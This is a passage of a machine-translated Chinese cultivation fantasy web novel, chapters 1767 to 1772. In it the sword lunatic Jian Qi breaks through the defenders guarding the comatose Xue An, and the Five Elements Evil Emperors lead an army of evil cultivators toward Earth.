    And this is already a realm that can be touched by the powerhouse of the Immortal Emperor level.


    But when Shang Liang was almost frantically clamoring, Chu Wuxiang, who had been silent, suddenly stepped out, rushed to the front of Shang Liang, and then hit with a fist.


    boom!


    Chu Wuxiang''s fist shook the space to dust, and then hit Shang Liang''s chest heavily.


    Click!


    All of Shang Liang''s ribs were directly shattered by this punch, which shook him back several steps, then opened his mouth and spit out a big mouthful of blood.


    Even the virtual image above his head shook.


    Chu Wuxiang was expressionless, he deceived him again, raising his fist and banging.


    Shang Liang''s face was frightened.


    The biggest dead spot of the power of the laws he mastered is the inability to dissolve pure physical power.


    That''s why he is very afraid of pure physical training.


    Especially this Chu Wuxiang was simply a peerless fierce.


    Judging from his punches, there is no spell fluctuation on his body, which means that he has cultivated into what he is now purely by physical strength.


    How **** it must be to be so cruel to yourself?


    Shang Liang murmured silently in his heart, and then retreated sharply, and at the same time shouted: "Sword Seven Girl, the earth is right in front of you, when are you going to watch the show?"


    That''s right!


    This is Shang Liang''s greatest support to the present!


    Because he knew very well that since Jian Qi was here for Xue An, these people who blocked would naturally become her enemies.


    really.


    As soon as his voice fell, a faint sigh came into the ears of everyone present.


    "What a bunch of trash!"


    Following the voice, a small and slender figure appeared in front of everyone and directly blocked Chu Wuxiang''s path.


    Seeing that it was a woman, Chu Wuxiang couldn''t help frowning slightly, and then stepped back for a half step, without doing anything.


    Because he has always had a principle, that is, he will never do anything with women unless necessary.


    This is also because he has not vented a bit of Yuanyang, and the Heavenly Cicada has no phase power that he has cultivated.


    But he didn''t do it, and Zhuge Zang''s complexion changed not far behind him.


    "Sword Seven? Why are you here?"


    Hu Ye''s complexion gradually became serious, because he had also heard of Jian Qi.


    This is the most dazzling name in Kendo in the last hundred years.


    I saw Jian Qi''s face as still water, glanced at Zhuge Zang, and then smiled faintly, "So it''s Senior Zhuge!"


    "I''m here for the Red Lotus Immortal Venerable, so please leave a way!"


    The words were very polite, but Zhuge Zang''s face gradually became difficult to look, because he knew that this seemingly ethereal and delicate woman was actually a total sword lunatic, and could not be guessed by common sense.


    Therefore, he said solemnly: "Sword Seven Girl, as far as I know, there is no enmity between you and Red Lotus Immortal, why are you looking for him?"


    Jian Qi smiled slightly, and the vertical lines between her eyebrows became more and more red, as if a drop of blood was rolling.


    "Because I want to challenge him! I heard that the Red Lotus Immortal Venerable that year was not only a shocking cultivation base, but also a swordsmanship that bested the heavens, so he was one of the seven people I wanted to challenge!


    Speaking of this, Jian Qi became very excited and eager to try: "As long as I can defeat him, I can change my name to Jian Liu!"


    At this time, Shang Liang''s injuries had also recovered a lot, so after hearing Jian Qi''s words, he hurriedly said.


    "Yes, Sword Seven Girl, now is a golden opportunity! Otherwise, there may be no chance in the future, but these people are preventing us from letting us in to see Xue An..."


    Jian Qi smiled, "Senior Zhuge, I don''t want to turn my face with you, so please let me open a path, otherwise..."


    "Those who block me die!"


    As soon as this statement was made, the whole world watching the live broadcast was shaken by it.


    "Who is this woman? So arrogant!"


    "Really, dare to play sideways in front of the five fairy kings and beat her!"


    There is a wave of public opinion on the Internet.


    Zhuge Zang''s face sank like water, "Sword Seven, I hope you can consider the consequences of doing this!"


    "Consequence? Ha ha, my sword... never talk about the consequences!"


    Jian Qi laughed softly, and then took a step forward lightly.


    After one step, the void vibrated.


    Even the earth in the distance seemed to be trembling slightly.


    And this step also quieted the already boiling world.


    Chu Wuxiang, who was the first to see, frowned slightly.


    Although he didn''t want to do anything with a woman, the woman in front of him seemed a bit too arrogant!


    So he lifted his palm the size of a fan and waved it out.


    But at this moment, Jian Qi''s hand suddenly exploded with an extremely bright sword light.


    Where Jianguang pointed, time and space stagnated.


    With a loud bang, this sword was piercing Chu Wuxiang''s chest, igniting countless sparks.


    But this indestructible sword failed to pierce Chu Wuxiang''s skin.


    Chu Wuxiang snorted, but refused to take a step back, and stepped forward, wanting to live with the sword.


    But at this moment, Jian Qi said indifferently: "The body is well tempered, but anyone who blocks me will die!"


    When the words fell, the brilliance of the vertical lines between her eyebrows flashed, and the sword on Chu Wuxiang''s chest rose sharply.


    boom!


    Chu Wuxiang was flew out by Shengsheng, and the Faxiang on his head also shook slightly.


    Then Jian Qi continued to step forward, and every step she took, the sword intent in her eyes became stronger.


    Seven steps later, the sword intent in her eyes had shrunk to the size of a needle.


    At the same time, above her head, a surge of sword intent rose to the sky, shaking the stars.


    And in the sword intent, a red and **** sword a small and slender swordsmanship form suddenly took shape.


    Jianmang pointed to stagnant time and space.


    Jian Qi''s expression became more and more ethereal, and he said lightly: "Get out of the way, or you will die!"


    After that, she took a step towards the earth.


    Seeing this scene, Chu Wuxiang snorted and prepared to rush forward.


    But at this moment, a black canopy fell from the sky, completely covering Jian Qi.


    In the blink of an eye, Jian Qi''s figure disappeared.


    But before Tianzhe took a breath, a sword light slashed out, directly cutting through the sky.


    Jian Qi continued to move forward, not even in a mess.


    "Since you refuse to listen, then go to death!"


    After that, Jian Qi raised his eyes, raised his hand, and cut out a sword!


    The sword light is like the sea, with the peerless elegance, hit the sky!

 Chapter 1768： Unstoppable

    This sword came extremely fast, and wherever it passed, even the space was cut in half.


    Such terrifying power shocked Tianzhuna, but at this time he was unable to retreat. In anxious situation, Tianzhuna had to reluctantly urge his own Immortal King Faxiang to resist this sword.


    puff!


    Cut with one sword.


    The dark king above the head of the sky was in pain, and his arm burst open.


    But this was just the beginning, the sword that had been slashed went back and forth, and went straight to the back of Tianzhuna.


    Tianzhe was so scared that the souls were mad, desperately rushing forward, trying to avoid the sword.


    But how can he be the opponent of this sword, who has not recovered his residual blood?


    Seeing that the sword light was about to enter the body, at this moment, a space-time vortex suddenly appeared behind him, dragging the sword light into it.


    Although this sword light burst out after only a moment, completely smashing the vortex, but it was a bit of time.


    At the same time, a furry tail protruded from the void, directly blocking the sword light.


    The two slammed together, and the tail was slowly bent backwards under the pressure of the sword.


    Hu Ye snorted, "Reflection!"


    Layers of ripples appeared on this tail, like a mirror, shooting out the sword.


    When the sword reached mid-air, Chu Wuxiang jumped up and blasted the sword light with a punch.


    boom!


    Jian Guang trembled, as if struggling unwillingly, only then did it completely break apart.


    But after such a delay, Jian Qi had already passed through the blockade of everyone, turned into a streamer, and flew towards the earth.


    Tianzhe was undecided, and shouted out of breath: "Fuck, what the **** is this girl, why is it so cruel?"


    Zhuge Zang looked solemn, and said solemnly: "She has achieved her sword power, and she can''t stop him with her power alone, Old Chu, you are here to deal with this group of people, and the rest will come with me!"


    After that, he turned into streamer and chased after him.


    Tianzha, Huye and Ye Hanshang followed closely behind.


    At the same time, through the live broadcast of TV cameras, the world has seen everything that just happened, especially when they saw Jianqi flying to the earth, countless people exclaimed.


    "My God, why is this woman so powerful?" Someone was shocked.


    "It''s over, even the fairy king can''t stop her. Who else can be her opponent?" someone screamed.


    In the Earth Allied Forces Command, the atmosphere is equally depressing and terrifying.


    Seeing the streamer coming straight to the earth in the monitor, everyone''s faces turned pale.


    Only the general of the town country was stunned and shouted in a deep voice: "Is it locked?"


    The soldiers operating the radar were sweating profusely, and tremblingly said, "General, her speed is too fast to be locked at all!"


    When they spoke, the streamer had already flown into the atmosphere.


    The General Zhen Guo immediately shouted: "If you can''t lock it, then the artillery will cover it! Give me missiles in all the directions that she may advance and avoid!"


    "Yes!"


    It may be that the calmness of the general of the town and country infected these staff, and people immediately started to get busy.


    The computer calculated frantically and quickly listed all the points,


    Immediately afterwards, among the nearest missile bases, countless missiles rose into the air, dragging white flames to meet the streamer.


    But before these missiles rushed to the front, a sword light swung in the air like a dragon.


    Boom boom boom!


    All the missiles were directly detonated, and Jian Qi''s figure had passed through the blockades to reach Xue An.


    The surveillance cameras all over here record everything faithfully.


    Everyone''s hearts chilled in an instant.


    Because no one thought that Jian Qi could come so fast, and it was going straight to Xue An''s direction.


    at the same time.


    An Yan who noticed the strangeness slowly opened her eyes.


    Not far in front of her, Jian Qi was suspended in the air, looking at her with interest.


    "Alchemy armor? Isn''t this skill long lost?"


    Seeing Jian Qi with a curious look, An Yan''s heart tightened for no reason, because she noticed the sword intent above Jian Qi''s head.


    The strength of this sword intent made her hair stand up.


    Not only her, but Tang Xuan''er, Fan Mengxue and others behind her felt the horror of this ethereal woman.


    Is this the enemy who is going to attack my husband?


    This thought flashed in An Yan''s mind, and then slowly stood up.


    The armor stretched, and behind it, a pair of golden wings gradually bloomed.


    Then An Yan raised the pan in his hand and pointed at Jian Qi obliquely, "I don''t care who you are, now get out of me!"


    Jian Qi was not angry, but looked at it with interest, "Lei Zun with the aura of an immortal king? It''s a pity that his strength is too weak to control it at all!"


    At the end, the curiosity in Jian Qi''s eyes gradually faded, and then he waved casually.


    A sword light appeared in front of An Yan in an instant.


    An Yan didn''t react at all, and the golden wings behind him snapped together, which was able to block the sword.


    clang!


    An extremely crisp sound of gold and iron humming, An Yan was shocked. Although he was not injured because of the armor protection, he was directly blasted out by the huge force contained in this sword.


    At the same time, Tang Xuan''er and others'' attacks had already blasted before Jian Qi.


    But Jian Qi didn''t even glance at them, just stared at the defensive light curtain in front, and stepped out one step at a time.


    boom!


    At this step, the sword was as powerful as a mountain, directly smashing all the attacks of Tang Xuan''er and the others, and shook them out.


    From the appearance of Jian Qi to the present, in just a few breaths, An Yan and the others who guarded it were all shaken out.


    And looking at Jian Qi''s appearance, it seemed that she didn''t use much power at all, which also shows how terrifying her strength is.


    Jian Qi took another step and was about to come before the light curtain.


    But at this moment, an invisible figure suddenly appeared beside her, and then blasted a blow.


    But in the next second, this figure was shaken out like a kite with a broken line, and a mouthful of blood was spit out in mid-air Zou Sui, who was so dizzy by Jianwei to see this The scene could not help but screamed, "Xiao Rui!"


    Then he rushed up and caught Xiao Rui.


    But at this time, Xiao Rui had passed out, with a trace of red blood still remaining at the corner of her mouth.


    When Zou Sui saw this, his eyes were red.


    "Damn girl, I''m fighting with you!"


    Saying that he put down Xiao Rui, he wanted to step forward, but just took a step, a powerful sword power directly crushed him to the ground.


    Immediately after hearing a loud noise that shook the sky and the earth, a sword light slashed straight down, blasting the defensive light curtain that was as solid as a golden soup.


    In the shattered light and shadow, Xue An''s figure gradually appeared.


    "Not good!" Zhuge Zang, who had already arrived in the middle, exclaimed when he saw this.


    Fox Ye''s eyes were about to split, and with a flick of his figure, the fox tail attacked Jian Qi''s back with a swift speed.

 Chapter 1769： Thinking offline

    But Jian Qi didn''t even turn his head, and with a flick of his finger behind, Jian Guang directly repelled all the attacks of Fox Ye.


    Hu Ye''s face turned pale, apparently suffering some minor injuries.


    At the same time, Jian Qi moved towards Xue An.


    An Yan, who was slumped to the ground, saw this scene almost burnt, the brilliance in her eyes flickered crazily, and an air machine broke free from the shackles, and she actually went from a half-step true fairy to a big stage directly, and entered a half-step. Step in the realm of Da Luo.


    Then she flew up, her armor burning with raging flames, and went straight to the sword seven.


    "Sister Yan!" Tang Xuan''er hissed in surprise.


    Jian Qi stopped, then turned his head slightly, and took a look at the rushing An Yan with interest.


    "It''s actually a big breakthrough directly? It''s interesting, but it''s still too far!"


    As she said, she pressed her finger down.


    Bang!


    An Yan felt as if a mountain had suddenly come down on her shoulders, and Shengsheng pressed her to the ground from mid-air, unable to move anymore.


    Then Jian Qi stepped forward again.


    "No! Don''t! Please don''t!"


    An Yan tried her best to shout, but couldn''t even say a word.


    So she could only watch this scene with tears on her face, her heart cut.


    At this moment, a Buddha horn suddenly came from the void.


    "Nawuwu Buddha, the female benefactor''s cultivation is through the sky, why bother with a seriously injured person?"


    Following the voice, a golden Buddha light shone all over, and a monk with golden light shining all over his head appeared in front of Xue An.


    Jian Qi paused and said indifferently: "Invisiblely? Will a big Bodhisattva like you interfere with me?"


    "Don''t dare, it''s just that Donor Xue is kind to me, so I''m willing to take my place. What about giving advice?" Jin Jue said compassionately.


    "Replace it with your body? Haha!" Jian Qi smiled coldly, "Do you know how to do kendo?"


    Jin Jue shook his head.


    "That''s not going to give way, I want to compare to the Red Lotus Immortal Venerable, not you!"


    Jin Jue felt like he hadn''t heard of it, and bowed his head to recite the scripture.


    The golden Buddha''s light gradually became stronger and stronger, faintly fighting against the court with the sword seven.


    Jian Qi said lightly: "I usually don''t kill monks, so now I say it again, get out of the way!"


    Jin Jue stayed still.


    The vertical lines between Jian Qi''s eyebrows flashed suddenly, and a ray of sword light rushed out, "Then you go to death!"


    boom!


    When the sword light reached the body, a golden lotus suddenly appeared, blocking the sword.


    But in the next instant, Jin Lian was shattered by the sword light, and then the huge sword intent cut a white mark on Jin Jue''s golden body and shook it out.


    So far.


    The road ahead is unobstructed.


    Jian Qi stepped forward to Xue An in one step.


    Just at this time, Zhuge Zang and Hu Ye Ye Hanshang arrived, but before they could take any action, the violent sword power emerged out of thin air, and they fought with them.


    Although the three of them rushed forward several times, the sword intent was so tough that they couldn''t get rid of it in a short time.


    Seeing this scene, everyone''s hearts instantly raised their throats.


    "It''s over, it''s over! Now God of War Xue is dead!" Someone''s face was pale and whispered softly.


    Jian Qi did not directly attack Xue An as everyone thought.


    Instead, she looked at Xue An with blinking eyes, and the excitement in her eyes gradually cooled.


    "Are you stuck between life and death? I thought your serious injury was just a rumor, but it was true. I really disappointed!" Jian Qiyi said flatly.


    A ray of hope suddenly rose in the eyes of the nearest An Yan.


    Could this woman see her husband like this, ready to give up?


    But then Jian Qi''s words ruthlessly shattered all her illusions.


    "Life is really lonely! It''s so difficult to find an opponent who can stand up to the first battle!" Jian Qi sighed, then glanced at Xue An.


    "Forget it, since you can''t wake up anymore, then I will help you out!"


    As he said, Jian Qi suddenly raised his hand and cut down with a sword.


    "No!" An Yan hurriedly got rid of some of the suppression, and then screamed.


    The voice is like a cuckoo weeping blood, it is unbearable to hear.


    But now, no one can stop Jian Qi in the sky or the earth.


    Far in outer space, Shang Liang, who was fighting with Chu Wuxiang, was also secretly observing everything here with his mind.


    When he saw this scene, he was ecstatic!


    it is good!


    As long as this sword is cut down, the Red Lotus Immortal Venerable will become history!


    boom!


    This sword was far more dazzling than any sword that the sword seven had displayed before, and then went straight to Xue An.


    After cutting out this sword, Jian Qi slowly turned around and planned to leave.


    Because in her opinion, everything is over.


    No one can survive with this sword of his own.


    But at this moment, things happened suddenly.


    But seeing this sword that was originally like a rainbow, after attacking Xue An, it was as if the pause button was pressed, and it suddenly stagnated in the air.


    Immediately afterwards, the dazzling sword light was like rust, and it began to corrode, and in the blink of an eye it broke apart, scattered into countless spots of light.


    Everyone is stupid!


    Including An Yan was also watching this scene blankly.


    Could it be that Xue An is about to wake up?


    But why can''t I feel any change in him?


    Just as An Yan was surprised, Jian Qi''s eyes gradually lit up.


    It''s like a child who sees a novel toy, full of curiosity and excitement.


    "Interesting, can you avoid my sword intent when you are trapped between life and death? Then I want to see how powerful you are after you wake up!"


    Jian Qi said softly, and then sat directly opposite Xue An, his eyes slowly closed, and he was settled in this situation!


    The audience was silent.


    Everyone stared dumbfounded.


    Especially the gaze towards Jian Qi was full of surprise and incomprehension.


    How wonderful is the brain circuit of this woman, and how disconnected the mind is to do this kind of thing?


    Obviously, he was beaten to death just now, but in the next second he went straight to the doom!


    Isn''t she afraid that everyone will take the opportunity to settle accounts with her?


    Including Shang Liang in outer space, he was stunned when he saw itXuan was so angry that he almost vomited blood.


    This woman is exactly the same as the rumors, she is a complete lunatic! Otherwise, how could a normal person do such a thing?


    I actually pinned all my hopes on her, really asking for trouble!


    Thinking of this, he made a vain move, instead of fighting Chu Wuxiang, he jumped into the void and escaped!


    Chu Wuxiang couldn''t catch up, so he stopped, and then turned to look at the group of guys who came with Shang Liang.


    These guys all have this expression at the moment, ''��w��`


    A faint smile gradually appeared on Chu Wuxiang''s honest face.


    "Sorry, since he ran away! Then you just stay obediently!"


    Then the expressions of these guys changed to this, "�d(??�n?)??"

 Chapter 1770： 5 Xing Evil Emperor

    At the same time, the sword power that enveloped the audience suddenly disappeared without a trace.


    An Yan rushed forward first, firmly guarding Xue An behind him.


    at the same time.


    Zou Sui, who was already red eyes, roared and charged up.


    "Dare to hurt Xiaorui and die for me!"


    As he said, he raised the dagger in his hand and pierced it.


    "No!" Zhuge Zang yelled hurriedly.


    It may be too late.


    Before Zou Sui''s dagger touched Jian Qi''s body, a ray of sword light suddenly appeared, and then he smashed the dagger, pierced into Zou Sui''s palm, and penetrated through his shoulder.


    With blood flowing out, Zou Sui almost passed out in pain.


    Zhou Daniu quickly stepped forward to support him.


    At this time, Zhuge Zang rushed forward and looked at Xue An first, and he was relieved to see that he was safe.


    Then he looked at Jian Qi who had entered Ding with a deep face, and said in a deep voice.


    "No one should approach her at will! Because she is...more dangerous than when she is awake!"


    No one thought that this battle would end in such a dramatic way.


    Seeing Jianqi sitting cross-legged on the ground into concentration, many people have a very funny feeling in their hearts.


    What is this called?


    I suddenly stopped hitting, and then stayed?


    Just when everyone didn''t know what to say, Chu Wuxiang returned, and behind him was a group of men and women with apathetic expressions.


    "Where is Shang Liang?" Zhuge Zang asked.


    Chu Wuxiang smiled embarrassedly, "He ran away, I didn''t catch up! But none of these guys ran away, I caught them all!"


    "Let''s run away! A fairy king wants to run, we really can''t keep him! Now the key is how to deal with this crazy female and these guys!" Hu Ye asked.


    Everyone nodded silently when they heard the words.


    "What else do I need to say? This woman acted recklessly and almost killed Xue An, so naturally she killed it!" Tianzhe said angrily.


    Zhuge Zang shook his head with a wry smile, "It''s not that simple. This woman is addicted to swords and has an unfathomable kendo practice. Don''t look at her now in Dharma, but ordinary means can''t help her at all!"


    "What should I do? Do you just watch her stay here like this?"


    Zhuge Zang glanced at Jian Qi meaningfully, "Actually... it''s not necessarily a bad thing for her to be here now!"


    "What do you mean?" Tianzhe asked in confusion.


    "Nothing..." Zhuge Zang smiled and shook his head, "Maybe I think too much! Anyway, it''s better to leave her alone for now!"


    Then he glanced at the group of guys that Chu Wuxiang had brought back. Everywhere he looked at, these people trembled.


    Zhuge Zang frowned slightly.


    These people are basically bad guys full of wickedness, and there are even a few Jiang Yang thieves who have committed heinous crimes.


    Therefore, his expression became cold, and he said solemnly: "Old Chu, since these people dare to come, there is nothing to say, kill them all!"


    As soon as these words came out, these guys started crying.


    "My lord, please spare your life! All this is caused by that fellow Shang Liang, it has nothing to do with us!"


    "Yes, sir, we are all blinded by Shang Liang to do such wrong things, please forgive me!"


    Amidst the begging for mercy, a trembling female voice suddenly came.


    "My lord, I have an important message. Can you spare my life if I say it?"


    "Oh? Important information?" Zhuge Zang was taken aback.


    "That''s right!" It was the seductive woman who was talking, and she said with a pale face: "It''s about this Lord Immortal!"


    Zhuge Zang nodded, "Okay! If what you say is true, then I can consider letting you go!"


    The seductive woman was overjoyed and hurriedly said: "Thank you, my lord, I am a hollow person in the fairy star field. When I was invited by Shang Liang to leave, I heard a news by chance that it was the five elements of evil back then. The emperor has also received the news that the Red Lotus Immortal respects life, and has returned to the mountain, ready to come to retaliate!"


    As soon as this remark came out, Zhuge Zangtianzhana, Ye Hanshang and others all changed in color.


    Only An Yan, Hu Ying and others are unknown.


    Hu Ying asked her brother in a low voice, "Brother, who is the evil emperor of the five elements?"


    At this moment, the face of Fox Night became very ugly, he explained in a deep voice.


    "The Five Elements Evil Emperor is the five evil sect masters who swayed the heavens back then. They are the five evil sects of Dongmu, Nanhuo, Xijin, North Water and Soil! And the five of them are in charge of the Five Elements Rule, proving the Taoist Immortal King''s status, and they are extremely powerful!"


    "Not only that!" Ye Hanshang said in a deep voice, "These five people are narrow, and they must be reported, and they cooperate with each other in a tacit understanding. Once they do it, the five people will be dispatched together, and the five elements will come out, even if it is the immortal emperor. Zun also had to retreat, so it was so rampant that no one dared to provoke it!"


    Hu Ying''s face paled when she heard it, "Then... Then what are they looking for Brother Xue for?"


    Zhuge Zang sighed, "Back when Xue An was first ascended to the Immortal Emperor, the Five Elements Evil Emperor provoked various kinds of provocations, so Xue An fought against them single-handedly, and the final result was that the Five Elements Sect was forced to disband, and the Five Elements Evil Emperor did not know that In the end, they didn��t expect them to be alive! And after knowing Xue An��s current situation, they would definitely not let it go!"


    Zhuge Zang''s tone was full of worry.


    After all, the evil emperor of the five elements is different from Shang Liang!


    That was one of the best evil sect masters.


    Once they come, even if they join forces, the outcome will be hard to predict!


    At this moment, Hu Ye said solemnly: "Why don''t I go back to Qingqiu Fox Country to rescue soldiers! As long as the Great Elder and the others come here, the evil emperor of the five elements will die!"


    Zhuge Zang shook his head, "It''s too late! Since they are coming, it must be in the past few days. How long will it take for you to go back and forth to Qingqiu Fox Country?"


    Everyone fell into silence.


    After a while, Zhuge Zang whispered: "Don''t disclose this in advance, otherwise it will easily cause panic. Let''s prepare privately!"


    "Yes!"


    An Yan held his hands tightly and looked at Xue An obsessively.


    Husband, when will you wake up?


    Everyone is busy for you now If you can''t wake up in time, can all the people on earth escape this catastrophe?


    at the same time.


    In that endless emptiness, Shang Liang panicked like a dog in the mourning family, fleeing frantically.


    While running, his eyes flashed with spiteful light.


    "Everything blames Jian Qi, a bitch, the situation that would have been won is actually disturbed by her!"


    "There are Zhuge Zanghuye and others. As the fairy king, you are willing to be the watchdog for Xue An. Sooner or later I will let you pay the price!"


    Just as he cursed with resentment, suddenly, the void in front became like a copper wall and an iron wall, blocking Shang Liang''s path.


    Shang Liang was taken aback.


    Immediately after hearing a strange yin and yang, a voice full of evil spirits came over.


    "Hey, isn''t this the master of the Chamber of Commerce? Why are you so embarrassed?"

 Chapter 1771： A blessing in disguise

    Following the voice, a man wearing a robe embroidered with flame emblems, pale, but his eyes full of evil and ferocious aura appeared in the void.


    When he saw this man, Shang Liang was taken aback for a moment, and Xuan even exclaimed, "The evil emperor of Nanhuo? Are you the evil emperor of Nanhuo?"


    The man smiled evilly, and red light appeared in his eyes, "It''s really hard for you to remember me! That''s right, it''s this emperor! Master of Commerce, you are not staying in your Qiantianyuan, why are you here?"


    Countless thoughts flashed through Shang Liang''s mind.


    He had a fate with this once master of evil sect.


    At that time, the Evil Sect of the Five Elements was at its peak in the Spring and Autumn Period, and no one dared to provoke the disciples.


    These five evil emperors are divided into five elements, and they are extremely powerful.


    In particular, the five of them were still advancing and retreating together, rushing to the enemy whenever something happened.


    In this case, even the strong immortal emperor had to retreat and didn''t dare to take his edge lightly.


    But it was such a tyrannical five evil sect that was single-handedly overturned by Xue An overnight.


    The five evil emperors have since disappeared, and there is no more news.


    Unexpectedly, I met here today, and Shang Liang couldn''t help but think of it.


    Could it be... he also heard the news that he came to the earth?


    Thinking of this, Shang Liang couldn''t help but sighed bitterly.


    "Oh, that''s a long story! Lord Evil Emperor, I really wanted to go to the earth to find the Red Lotus Immortal to settle accounts, but... I ended up in defeat!"


    "Oh? Return in a big defeat?" The evil fire was flourishing in the eyes of the evil emperor of Nanhuo, "You are also a strong immortal king, how could you fail so badly? Could it be that the immortal red lotus was not as the Lord of the Abyss said Seriously injured like that?"


    As the evil sect powerhouse who had a life and death feud with Xue An, they naturally received the notice before the death of the Lord of the Abyss.


    Shang Liang shook his head and smiled bitterly, "That''s not the case. I have seen with my own eyes that Xue An has indeed been seriously injured and has fallen into a life-and-death life and death! But he actually found a bunch of helpers to guard the earth for him. !"


    "Oh? Helper? What helper?"


    "As far as I can see, there are Zhuge Zang, Huye, Ye Hanshang, Tianzhuna, and an immortal king who I can''t name. The five immortal kings have joined forces. That''s why I lost so badly!" At this time, Shang Liang''s complexion became extremely ugly.


    But the evil emperor of Nanhuo sneered when he heard the names of Huye and the others, with a disdainful expression on his face.


    "I should be such a great person. It turned out to be such a bunch of wine bags and rice bags! Master of Commerce, if you are interested, follow me back again to see how I smashed Xue An with a thousand swords to vent my waiting. I hate it!"


    Shang Liang was overjoyed, knowing that he had guessed correctly, the evil emperor of Nanhuo really came to Xue An.


    But then he hesitated again, "Shang Mou is naturally willing to invite the Evil Emperor! It''s just that the other party is the five great immortal kings, no matter how strong it is, but I and the Evil Emperor are the two...are you weak in power?"


    As soon as the voice fell, the evil emperor of Nanhuo laughed loudly, "The Lord of the Chamber of Commerce is really as cautious as before, and it hasn''t changed at all!"


    Shang Liang smiled awkwardly, "Isn''t I afraid of something bad?"


    The evil emperor Nanhuo waved his hand, "You are not wrong in your consideration, but since we are called the evil emperor of the five elements, you should understand what it means!"


    As he said, he turned his head and shouted at the depths of the void: "Brothers, the master of the business school is worried that we are weak, so he will show up and show him how many people there are!"


    There was a ridiculous laughter in the void, "The Lord of the Chamber of Commerce is really the more courageous the older you are, no matter what, brothers, let''s show up together!"


    Following the voice, but seeing a slight tremor in the void, ripples appeared immediately afterwards.


    Then from the ripples, a group of figures began to emerge.


    The four men were the first to bear the brunt.


    These four men wore robes embroidered with various emblems, their faces were as majestic as an emperor, and the aura on their bodies made the entire star tremble.


    It is the four evil emperors of Dongmu, Xijin, Beishui and Middle-earth.


    And behind them, there are countless disciples.


    These disciples are full of strong evil spirits, and obviously their strength is very good.


    Not only that, there are also evil cultivators of various factions. The number of people is so large that they can''t be seen at a glance.


    Shang Liang looked at this scene in shock.


    At this time, the Evil Emperor Dongmu smiled coldly, "I have already appeared, can you rest assured that the Lord of the Chamber of Commerce now?"


    Shang Liang trembled all over, then nodded in ecstasy, "rest assured, absolutely rest assured!"


    "Then do you think we can conquer the earth with our strength?" Nanhuo evil emperor said lightly.


    "No problem, the earth will have no chance of survival now!" Shang Liang said with a smile.


    "Very good! Since the Lord of the Chamber of Commerce has just escaped from the earth, I will trouble you to lead the way, we...kill it!" Nanhuo evil emperor said coldly.


    "Okay! Everyone, please follow me!"


    After all, Shang Liang led this group of evil cultivators to fly to the earth mightily.


    At the same time, Shang Liang thought with joy, Xue An, how do you hide this time!


    At the same time above the earth.


    Zou Sui looked anxiously at Zhuge Zang who was getting Xiao Rui''s pulse. He wanted to say something but was afraid that it would disturb Zhuge Zang''s thinking, so he could only suppress his temper and wait.


    After a while, Zhuge Zang gave a slight hey.


    "strange!"


    Zou Sui''s face instantly became very pale.


    Fan Mengxue immediately asked, "Senior Zhuge, how is Xiaorui''s injury? Is there life threatening?"


    Zhuge Zang put down Xiao Rui''s wrist and shook his head gently, "The injury on her body is not serious!"


    "Then why haven''t you woke up yet?" Zou Sui asked quickly.


    A faint smile appeared on Zhuge Zang''s face, "Little Zou, why are you so nervous Miss Rui?"


    Zou Sui blushed and then slowly lowered his head, "I...I just think Xiao Rui looks like my sister!"


    This sentence made Zhou Daniu and others who were planning to make fun of Zou Sui stunned.


    As comrades-in-arms in the same trench, they naturally knew that Zou Sui once had a sister, but she died at a very young age due to family changes.


    Zhuge Zang sighed when he saw this, and then said: "Don''t worry! The reason why Miss Xiao Rui hasn''t woken up is not because of her injuries, on the contrary, she is a blessing in disguise!"


    "A blessing in disguise?" Zou Sui was startled and asked rhetorically.


    Zhuge Zang nodded, "That''s right! Miss Xiaorui''s soul was artificially divided into two halves by the evil alchemist. Although I forcibly merged them later, the two souls are fighting each other. It is already difficult. It is completely integrated!"


    "But the sword of Sword Seven was just right, and it happened to be cut above Miss Xiaorui''s sea of ??consciousness. Under the pressure, the two souls were forced to unite against the power of this sword, so she had this precious time. Now, her two souls are constantly fusing together. When the fusion is completed, it is time for her to wake up!"

 Chapter 1772： Army pressure

    Hearing Zhuge Zang''s explanation, Zou Sui and Fan Mengxue both let out a sigh.


    Then Zou Sui said in surprise, "It seems that the crazy lady has done something good too!"


    Because of Xiao Rui''s injury, Zou Sui hated Jianqi.


    But now that Xiaorui had been in a blessing in disguise and hoped to fully recover, Zou Sui''s hatred disappeared.


    At this moment, the harsh siren suddenly resounded across the sky.


    Everyone''s complexion changed, Zhuge Zang raised his eyes to look at the sky, but he didn''t notice anything unusual, so he flew to the command of the Earth Allied Forces.


    "What''s the matter? Something triggered the alarm?" Zhuge Zang asked with a sinking face.


    The generals of various countries, Hu Ye Ye Hanshang and others also rushed over.


    The person in charge of the alarm was extremely pale, and pointed tremblingly at the monitor, "Just now... a large number of abnormal fluctuations appeared in the orbit of Mars, and they are coming to the earth at an extremely fast speed!"


    General Zhen Guo looked at the densely packed countless light spots in the monitor, his face changed, "How much is this abnormal fluctuation?"


    The staff member��s teeth were shaking, "The number is so large that...it is impossible to count!"


    The entire coalition headquarters fell into a dead silence because of this sentence.


    At this moment, Zhuge Zang suddenly looked at the sky outside, and then sighed, "I can''t hide what should be here. Let''s go! The guests have arrived!"


    When the words fell, he took the lead to walk outside, Hu Ye Ye Han Chang Chu Wuxiang and Tianzhe the four silently following behind.


    At the same time, the whole world felt the strangeness and looked up.


    But seeing countless points of light appearing in the sky, these points of light immediately revealed their true colors.


    It turned out that where is the light spot, it is clearly a famous monk.


    Moreover, the bodies of these monks were all filled with evil spirits, which made people shudder.


    In the blink of an eye, the entire Tianyu was filled with these dense cult monks.


    This kind of sight, like a nightmare, made everyone tremble.


    How could this be?


    Why was it just fine, so many evil cultivators appeared in the blink of an eye?


    At this moment, the five brilliances of blue, red, yellow, white and black suddenly descended from the sky, and then the five men inside appeared.


    When these five people appeared in front of everyone, the terrifying coercion made the whole earth tremble.


    Everyone changed.


    Especially the many monks on the earth, their faces are ashamed.


    Because they felt the desperate and boundless power from these five people.


    Zhuge''s face sank like water, took a deep breath, and slowly said: "The Five Elements Evil Emperor!"


    That''s right!


    Those who came were the evil emperors of the Five Elements and their disciples and evil cultivators of various factions.


    At this moment, the five of them looked down at the blue planet under their feet, and a touch of icy sarcasm appeared on their faces.


    "Just such a small place, is it actually the hometown of Red Lotus Immortal Venerable?" The evil emperor Xi Jin sneered.


    At this moment, countless missiles rose into the sky all over the world, heading straight for these evil repairs.


    But as soon as these missiles rushed halfway, the Evil Emperor Xijin grabbed them with his hands nonchalantly.


    Bang!


    After a loud noise, these missiles collapsed directly from the inside out, and then disintegrated into countless fragments.


    With just one blow, the Evil Emperor Xijin extracted all the metals contained in these missiles.


    Therefore, these missiles did not even have time to explode, and they turned into fragments in the sky.


